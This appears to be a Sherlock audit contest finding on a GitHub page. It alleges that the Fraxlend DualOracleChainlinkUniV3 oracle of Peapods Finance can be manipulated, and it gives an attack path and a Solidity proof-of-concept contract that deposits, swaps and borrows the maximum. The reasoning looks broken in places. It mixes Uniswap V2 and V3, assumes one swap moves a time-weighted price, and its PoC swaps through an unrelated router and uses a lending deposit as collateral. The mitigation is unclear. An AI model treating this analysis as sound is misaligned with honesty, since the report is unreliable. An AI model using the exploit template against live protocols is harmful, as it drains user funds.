Skip to content

Latest commit

 

History

History
197 lines (133 loc) · 7.28 KB

File metadata and controls

197 lines (133 loc) · 7.28 KB

Young Foggy Ostrich

High

Attacker will manipulate oracle prices

Summary

The prices obtained by the DualOracleChainlinkUniV3.sol price oracle can be manipulated.

Root Cause

In the DualOracleChainlinkUniV3.sol contract function specifically getPrices() will tend to prioritize the price of the UniswapV3 pair by the oracleDelay

Internal Pre-conditions

A user who detects that the update time of maxOracleDelay returns in the getPrices function "_isBadData"

https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L138-L150

External Pre-conditions

If maxOracleDelay is greater than the parameter created in the getPrices() constructor, it will use the data returned by the UniswapV3 pool as the oracle price.

Attack Path

  1. An attacker monitors the DualOracleChainlinkUniV3.sol contract hoping that the contract will detect that

https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L138-L150

returns _isBadData.

  1. Since the contract now prioritizes the price returned by the UniswapV2 Pool quote, it can manipulate the pool to get the price based on the quote that the attacker wants.

This is because of this function

[function getPrices() external view returns (bool _isBadData, uint256 _priceLow, uint256 _priceHigh) { address[] memory _pools = new address; _pools[0] = UNI_V3_PAIR_ADDRESS; uint256 _price1 = IStaticOracle(0xB210CE856631EeEB767eFa666EC7C1C57738d438).quoteSpecificPoolsWithTimePeriod( ORACLE_PRECISION, BASE_TOKEN, QUOTE_TOKEN, _pools, TWAP_DURATION ); uint256 _price2; (_isBadData, _price2) = _getChainlinkPrice();

// If bad data return price1 for both, else set high to higher price and low to lower price _priceLow = _isBadData || _price1 < _price2 ? _price1 : _price2; _priceHigh = _isBadData || _price1 > _price2 ? _price1 : _price2; }](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol#L138-L150)

    1. The attacker makes a deposit of tokens in the FraxlendPairCore.sol contract by calling the following function

function deposit(uint256 _amount, address _receiver)

https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L578-L612

  1. The attacker makes a swap of the pool where the deposit was made to manipulate the funds so that the price returned by the quote is in his favor.

  2. The attacker makes a borrow with many tokens that have the manipulated price

https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L903-L928

https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L863-L895

Impact

The FraxlendPair.sol contract may suffer huge losses due to oracle manipulation.

https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPair.sol

This may result in loss of user funds and leave the protocol insolvent.

PoC

solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.26;

interface IERC20 { function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint amount) external returns (bool); }

interface CORE { function deposit(uint256 _amount, address _receiver) external; function borrowAsset(uint256 _borrowAmount, uint256 _collateralAmount, address _receiver) external; }

interface ISushiSwapRouter { function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts);

function getAmountsOut(
    uint amountIn, 
    address[] calldata path
) external view returns (uint[] memory amounts);

}

contract SushiSwapExecutor { address private constant PAIR_SWAP_ROUTER_ADDRESS = 0x0000000000000000000000000000000000000000; // Put the address address public coreContractAddress = 0x0000000000000000000000000000000000000000; //Put the address address public owner;

ISushiSwapRouter public sushiSwapRouter;

constructor() {
    owner = msg.sender;
    sushiSwapRouter = ISushiSwapRouter(PAIR_SWAP_ROUTER_ADDRESS);
}

modifier onlyOwner() {
    require(msg.sender == owner, "Not contract owner");
    _;
}

// Fetch token balance of any token for the owner of this contract
function getTokenBalance(address tokenAddress) public view returns (uint256) {
    IERC20 token = IERC20(tokenAddress);
    return token.balanceOf(address(this));
}

// Approve tokens for swapping on SushiSwap
function approveToken(address aquien, address tokenAddress, uint256 amount) public onlyOwner {
    IERC20 token = IERC20(tokenAddress);
    token.approve(aquien, amount);
}

function attack(address tokenA, address tokenB) public onlyOwner{
    CORE core = CORE(coreContractAddress);

    approveToken(coreContractAddress, tokenA, type(uint256).max);

    uint256 total = IERC20(tokenA).balanceOf(address(this)) / 2;

    core.deposit(total, address(this));

    executeSwap(address(this), tokenA, tokenB);

    core.borrowAsset(type(uint256).max, total, address(this));
}

// Execute swap on SushiSwap from USDT to WETH
function executeSwap(address aquien, address tokenAddress, address totoken) public onlyOwner {
    IERC20 token = IERC20(tokenAddress);
    // Approve SushiSwap to spend USDT
    approveToken(aquien, tokenAddress, token.balanceOf(address(this)));

    // Path for the swap: USDT -> WETH
    address[] memory path = new address[](2);
    path[0] = tokenAddress;
    path[1] = totoken;

    // Calculate amountOutMin (with 5% slippage)
    uint[] memory amountsOut = sushiSwapRouter.getAmountsOut(token.balanceOf(address(this)), path);
    uint amountOutMin = amountsOut[1] * 95 / 100; // 5% slippage

    // Perform the swap
    sushiSwapRouter.swapExactTokensForTokens(
        token.balanceOf(address(this)),
        amountOutMin,
        path,
        address(this),
        block.timestamp + 1200 // 20-minute deadline
    );
}

function withdrawETH() external onlyOwner {
    uint256 contractBalance = address(this).balance;
    payable(msg.sender).transfer(contractBalance);
}

// Withdraw tokens from the contract
function withdrawTokens(address tokenAddress) external onlyOwner {
    IERC20(tokenAddress).transfer(msg.sender, IERC20(tokenAddress).balanceOf(address(this)));
}


receive() external payable {}

fallback() external payable {}

}

Mitigation

Use a wide range of maxOracleDelay and avoid using a Uniswap V3 V2 pair, etc. as a price oracle. Because in these cases it is very easy to manipulate prices by interacting with the pair.

https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/oracles/dual-oracles/DualOracleChainlinkUniV3.sol